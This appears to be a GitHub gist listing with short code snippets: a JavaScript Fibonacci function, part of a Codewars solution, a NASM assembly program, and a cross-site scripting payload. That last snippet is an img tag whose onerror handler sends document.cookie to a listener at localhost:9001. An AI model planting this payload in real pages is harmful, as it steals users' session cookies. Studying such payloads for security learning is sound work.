This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const range = (n) => [...Array(n).keys()]; | |
const fib = (n) => range(n).slice(1).reduce( | |
(acc, value) => { | |
console.log([acc[1], acc[0]+acc[1]]); | |
return [acc[1], acc[0]+acc[1]] | |
} | |
, [0, 1])[0] | |
fib(5) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// https://www.codewars.com/kata/5852d0d463adbd39670000a1/solutions/javascript | |
function goLeft(arr, n) { | |
let chunk = []; | |
if (n >= arr.length) { | |
return [arr]; | |
} | |
let endIndex = arr.length - 1; | |
for (let i = n - 1; i >= 0; i--) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
; /usr/local/bin/nasm -f macho 32.asm && ld -macosx_version_min 10.7.0 -o 32 32.o && ./32 | |
global start | |
section .text | |
start: | |
push dword msg.len | |
push dword msg | |
push dword 1 | |
mov eax, 4 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<img | |
src='/fake' | |
onerror="if (document.cookie !=='lol') {var xhr = new XMLHttpRequest(); xhr.open('GET', 'http://localhost:9001/'+document.cookie); xhr.send();}" | |
/> |